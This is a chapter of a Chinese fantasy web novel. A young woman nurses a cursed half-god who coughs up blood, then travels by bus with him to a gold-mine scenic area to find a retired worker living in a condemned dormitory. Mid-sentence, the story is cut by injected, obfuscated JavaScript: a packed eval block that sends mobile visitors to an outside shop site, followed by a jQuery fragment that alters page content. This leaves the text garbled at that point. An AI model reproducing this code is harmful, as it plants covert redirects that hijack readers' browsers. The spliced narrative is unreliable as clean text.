44. 第 44 章
    初冬的清晨白霜染林。

    吴瑧洗漱完,在阳台看苏大叶的手记,等到快十点多了钟延还没出房门。

    他平日都在客厅打坐,或在书房看电脑,偶尔进房间小憩。

    但是昨天比吴瑧睡得早,也没进修神御界。

    “啪嗒。”

    吴瑧从躺椅上起来,脚一落地才反应过来。

    这么久没响动,还能是怎么回事?肯定身体不舒服。

    她敲了敲门叫人,贴门上听见浅浅的呼吸声。

    “那个,我进来了,你应该盖了被子吧。”

    话虽这么问,吴瑧几乎断定钟延连外衣都不会脱掉。

    推开条门缝,钟延双手交叠放在腹部,双目紧闭,于眉心形成“川”字。

    和煦的阳光洒在他发紫的唇部,额头油光发亮的,应该发了好几遍的汗。

    “钟延?”

    他喉头微动,想发声,没能说出话来。

    吴瑧这才感觉大事不妙,过去蹲在床沿,抚上他额头,黏黏腻腻布满汗渍。

    “钟延,你听得见吗?”

    “嗯……”他喉底发出低吟声,夹着气泡。

    吴瑧还想确定他有没有发烧,钟延忽然开眼弹起小半身,“噗——”

    一口血喷在吴瑧胸前,无力地侧趴下。

    “对不住。”

    吴瑧被突如其来的礼貌闪了腰,“没,没事。”

    “才来。”他的语气带着抱怨,声音低得几乎听不见。

    “你怎么了?”吴瑧伸手想给他顺顺背,但她没做过这种事,学着以前妈妈给自己揉背的力度,由后颈到后背心轻轻揉。

    “要像上次一样帮你疗伤不?”

    再一次触碰,眼前天旋地转。

    修神御界中头顶阴影浓重,钟延原身砸下来,吴瑧差点被拍成肉饼。

    她翻身跃开,看见钟延那段邪气很重的蛇身冒着血光,比她人大的鳞片则隐隐夹杂金辉。

    蛇嘴溢出鲜血,钟延疲累地挪动,像上次一样靠近吴瑧。

    没多久,吴瑧眼前花斑斑的,两眼发黑,晕了。

    “吴瑧,吴瑧?”

    钟延干净的嗓音把吴瑧从噩梦里扯出来。

    “你没事了?”她问。

    “暂时压制下去了。”

    吴瑧接过温水一口气干完,靠在沙发上,脑袋晕晕沉沉的。“我说你下回不舒服能早点说嘛,我又不是你肚子里的蛔虫,我以为你在房间里修炼。”

    “骤然犯病,没来得及。”他道。

    “好吧。你身体?”

    钟延摇摇头,“我——”

    他好像在纠结要不要说,半晌才继续道:“当年黑云族使手段,族人中了叱咒,那年我还在母亲腹中。”

    吴瑧瞪大了眼,等他往下说。

    “后来钟山覆灭,我被黑云佬擒去封阴山,靠不断吸食邪气,以毒攻毒压制叱咒苟活。”

    吴瑧低眼望向他腹部,两人灵力彼此感知,这段时间她进步不少,那种感知力随之加强,钟延的邪毒之气隐在丹田。

    “怎么解啊?”

    “血咒阴毒,我因雾光镜和你的缘故才能暂时压制,我那些族人——”他转过头去倒水,阳光偏斜的角度正好映着眼角反光的泪水。

    “他们只能等我。”

    他没说解咒的办法,也可能根本不知道如何解。

    吴瑧本想宽慰,张开嘴又合上,有些苦难靠几句安慰得不到半分释然。

    这个天之骄子娘胎里开始就没安生过一天,太唏嘘。

    “走吧。”钟延放下热水壶和杯子,“我用了你不少灵力,你可以么?”

    吴瑧反问:“我路上可以休息,你没事?”

    钟延伸出手,“那就走吧。”

    “行。”相处这些日子,吴瑧知道他很传统,越过手掌攀上胳膊,“这里去金矿景区要转趟车,拢共一个半小时到两个小时路程吧,你身体才刚好点没法远距离踏空,我累了不想开车,我们去坐巴车。”

    闻言,钟延露了个浅浅的笑容。

    先坐城乡公交去市区客运中心,吴瑧特意坐到最后排,把靠窗的位置留给钟延,自己坐在他旁边。

    这样别人一般不会往他那个座位坐了。

    半路上来一群学生,前排的位置一下坐满。

    快到市区的站台,一对母子上车,七八岁的小朋友吵闹着要坐最后一排,但最后排在他们看来只剩吴瑧左右两个空位。

    小朋友倒很有礼貌,过来娇嫩嫩地说他想跟妈妈坐在一起,问吴瑧能不能往里挪一个位置。

    请求合理,言词恳切,无法拒接。

    问题是,吴瑧哪好意思坐过去。

    钟延说了句“不妨事”,自觉站到过道上,吴瑧眼神表示感谢。

    “阿姨,你真亲切,你的男朋友宇宙无敌第二帅,除了爸爸,我爸爸第一。”

    吴瑧被他逗笑了,“谢谢小朋友,不过我还没有男朋友,嘻嘻。”

    “小禹,不要打扰别人。”小男孩的妈妈提醒。

    五分钟后,吴瑧明白这个叫小禹的男孩子为什么非要坐最后一排了。

    有段路在修,经过几处低洼,整个人被颠簸得离开座位。

    男孩非常开心,到了站牌依依不舍地被他妈妈拉走,下车前还朝吴瑧挥手告别。

    钟延重新坐下来道:“那孩子不一般,他好像能看见我。”

    “啊?”

    吴瑧没对尘世隐身,一声狐疑引来其余乘客的侧目,她拿起手机,假装跟人发信息,脸颊迅速泛起红温。

    钟延压着笑意,“不是什么值得在意的事,小孩子慢慢长大,很多灵性自然会消失。”

    吴瑧对空气点头。

    手记铃声响了,是档案馆人事小姐姐打来的。

    “喂,玲玲姐。”

    那头的人事小姐姐热情道:“哎!瑧啊,有件事跟你说下哦,我昨天忘提醒你了,我问来的瞿又住址是她退休那年的事了,她退休二十多年了嘞,现在还住不住在金矿宿舍,我也不清楚了诶。”

    吴瑧心头咯噔一声,“好,谢谢姐,那个我今天想吃石榴,品相不错,叫了份外卖,留的你的电话,到时候记得取哈。”

    “这么客气的哇!多大点事喂。”

    吴瑧的社交笑容挤得两眼眯眯长,“没,不是感谢,顺带的嘛。”

    “行,那我不客气咯,谢谢啦!”

    人事的声音很响,钟延听见了,他道:“不管怎么说,先去看看吧。”

    吴瑧再度对着空气点头,一番举动惹得旁边才坐下的人离她远了两个拳头,指头在手机屏幕上噼里啪啦打字。

    在市区客运中心换上前往金矿景区的客运班车,吴瑧照旧刷了两人份的车钱。

    进了东南向的盘山公路以后,没多久胃里翻江倒海,她庆幸自己没吃早餐。

    下了车坐路边闷了好一会儿,吴瑧才勉强起身。

    下车点在景区外的盘山公路边,路牌显示金矿宿舍直线距离五十米,要走一段斜上坡路。

    钟延朝景区门口张望一眼,有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197244|146419||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    些好奇。

    今天虽然不是休息日,但人也不少。

    “档案馆工作不错,为什么会换来景区?”他转回头问。

    吴瑧腿酸脚软的,不过几十米距离,站着歇了两回。

    何况左手拎着奶和面,右手一大袋水果,还有一桶油。

    要说话就走不动路,她挑路边干净的绿化带边坡坐下,“瞿又在档案馆做了十年的档案管理,几十年前不像现在那么多正式工,她是顶家里人岗位进去的,听玲玲姐说在某一年的岗位变革大潮中被辞退了。”

    说到这儿她合上嘴,等路过的旅游团走远了才道:“后来到商场做过柜员,进厂当过流水线工人,再后来经人介绍来金矿景区窗口,一直干到退休。”

    钟延:“凡人短短数十年,阅历竟如此丰富。”

    吴瑧哼哼笑了,“你羡慕凡人的人生走马观花,凡人羡慕修仙的人永葆青春。”

    “说的是,都不易。”

    这话从牛马嘴里出来再正常不过,但是从他一个半神嘴里出来,奇奇怪怪,吴瑧哈哈哈傻笑起来。

    斜坡上的弯道又下来十余人的旅游团,见她一个人笑得欢,个个表情耐人寻味。

    吴瑧默默打开手机,手托腮挡住半张脸,起身紧着酸爽的双腿快步走开。

    今天是她第二回被人当精神病,也是第二次把钟延逗笑。

    经过马路右侧的售票大厅,员工宿舍就在斜坡上去十多米的边坡下。

    路对面还有一幢老房,看样子都成危房了,还没拆除。

    宿管是新来的,有些人头不太熟悉,人很热情,带吴瑧去找老宿管员。

    “找谁?”老宿管员满头华发,摘下老花镜看着吴瑧问了三遍。

    宿管贴在他耳边,“鲍叔,她找瞿又!瞿又!!咳咳。”

    “哦!”鲍叔浑浊的眼珠子浮上一层光亮,手指不自觉颤抖,指着马路对面,“瞿姐啊!她不住这幢,在对面。”

    吴瑧一愣。

    “他会不会记错了?”她问新宿管员,“对面还能住人?”

    “那有什么法子,瞿姐犟牛一头,领导每个星期去劝就是拉不出来,反正不管她乐不乐意,水电都停了,下个月强拆,到时候不出来也得出来,唉!”

    吴瑧:“……”

    得嘞,这位叔叔是顺风耳,跟她外婆一样,听不见的时候怎么喊都没用,听见时候你悄摸说话人都尽收耳中。

    吴瑧谢过两人,在旧宿舍门口驻足了一小会,没见两层楼哪扇门开着,不过二楼西边两间屋子没上锁。

    鲍叔说瞿又本来住在一楼,水电停了以后搬到二楼,因为二楼的走道亮堂些。

    长期少人住的楼房阴森森的。

    老房依山而建,另一头靠着山,没有多余的空间造阳台。

    一楼确实太黑了,瘆得慌。

    台阶两头长满绿藓,扶手还是那种老式水泥扶手,楼道里一片漆黑。

    上到二楼,没上锁的两扇门相对干净些,面朝马路的这间门口还挂了防蚊帘。

    吴瑧掀开门帘,敲门道:“瞿奶奶,您好,在吗?”

    无人应答。

    “瞿奶奶?”

    木门很潮也很旧,两块门板之间有条宽裂缝,吴瑧凑上去想看看有没有人。

    屋内靠窗置了张木板床,墙角立着三角柜,还有一张木桌子和两个木箱子。

    都是很老式的东西,但房间还算整洁。

    “笃。”门内一声响。

    一双眼睛迎上来,吓得吴瑧心惊肉跳弹开。